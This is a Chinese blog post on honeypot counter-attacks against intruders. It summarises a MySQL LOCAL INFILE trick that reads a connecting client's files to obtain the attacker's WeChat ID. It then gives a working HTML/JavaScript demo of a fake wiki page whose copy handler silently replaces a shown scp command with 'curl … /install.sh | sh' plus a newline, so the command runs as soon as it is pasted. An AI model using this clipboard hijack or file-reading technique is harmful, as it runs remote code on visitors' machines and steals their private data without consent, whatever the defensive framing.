从《MySQL蜜罐攻击反制微信ID》中的启发与复现

起因

看了《MySQL蜜罐获取攻击者微信ID》(Reference[2])一文之后,觉得思路非常新颖,溯源反制本就不该局限,需要灵活应用。

大致概述下 《MySQL蜜罐获取攻击者微信ID》所介绍的反制思路

需要知道反制思路的前提,需要对MySQL LOCAL INFILE漏洞原理有一定了解。

LOAD DATA LOCAL INFILE 'C:WINDOWSsystem32driversetchosts' INTO TABLE test FIELDS TERMINATED BY 'n';

当客户端链接上MySQL服务端并执行这条指令的时候,客户端会向服务端发送一条查询报文:

 MySQL服务端从客户端那边收到查询报文,是一个读取本地文件到MySQL表的执行语句,则MySQL需要返回一条“你要插入的文件hosts内容是什么”的报文给客户端

 至此,客户端读取内容,并返送给MySQL服务器

 所以漏洞的成因很简单,蜜罐伪装成存在弱口令的MySQL服务器,当攻击者爆破出用户必会通过链接工具进行链接。

此时程序再通过漏洞读取C:WindowsPFRO.log文件获取Username

再通过Username结合得到微信路径'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data',拿到微信ID

文中给出利用程序地址:https://github.com/qigpig/MysqlHoneypot/blob/master/evalServer.py

思考

其实写这篇文章的目的,是对二代蜜罐的反制发展的一个思考面,攻击反制不能依赖于现状!

这里就顺便写一下我的反制思路

随着现在攻防愈加激烈,很多攻击方已经做到了办公—渗透环境分离,但是根据我多次使用虚拟机的情况,大都数攻击者都有个通病,就是会开启剪贴板互通功能。

所以我的切入点还是在网页上,以劫持剪贴板的方式来迷惑攻击者粘贴指定payload指令到剪贴板上

 但是这样一来就能劫持攻击者的剪贴板,但是目前还有2个问题!

1.如何确定攻击者是剪贴到浏览器或者终端命令行,而不是记事本这类目标。

2.攻击者不管复制什么都会被劫持成我们的payload,如此一来太明显了

孙子兵法有云:"水因地而制流,兵因敌而制胜.故兵无常势,水无常形",故而可以局限的方式限制攻击者的思维,引导攻击者的攻击思路!

1.伪装成一个命令指令,攻击者想来复制这条指令,那么执行对象必定是终端命令行了

2.监听事件中做个判断,只针对带有命令的内容进行劫持

现在我们来实操一下:

<html>
<head>
    <title>xxx公司内部Wiki文档</title>
    <script src="https://common.cnblogs.com/scripts/jquery-2.2.0.min.js"></script>
</head>
<body>
    <script type="text/javascript">
        $(document.body).bind({
            copy: function(e) {//copy事件
                let cpTxt = "curl https://192.168.0.1/install.sh | sh 
"; //payload
                let clipboardData = e.clipboardData || window.clipboardData; //for IE
                if (!clipboardData) { // for chrome
                    clipboardData = e.originalEvent.clipboardData;
                }
                let result = "";
                if(window.getSelection().toString() == "scp xxx.tar root@192.168.0.1:/xxx.tar"){
                    result = cpTxt;
                }else{
                    result = window.getSelection().toString();
                }
                clipboardData.setData('Text', result);
                            return false;//否则设不生效
            }});
    </script>
    <h1>xxx程序下载指令</h1>
    <h3>下载指令:</h3>
    <p>scp xxx.tar root@192.168.0.1:/xxx.tar</p>
    <h3>登录密码:123456</h3>
</body>

</html>

 这里感谢我的好友@花与海 给我提出的建议,让我在命令后面直接加上 ,使其粘贴在命令行后可自动执行。

上述demo只针对scp这条指令做劫持替换,对我复制123456的操作不做任何改动,很好的隐蔽了反制的目的性。

附上动态测试图:

Reference:

[1].https://www.colabug.com/2019/0408/5936906/

[2].https://mp.weixin.qq.com/s/m4I_YDn98K_A2yGAhv67Gg

[3].https://github.com/qigpig/MysqlHoneypot

[4].https://www.cnblogs.com/mmykdbc/p/7977985.html

原文地址:https://www.cnblogs.com/wh4am1/p/13571911.html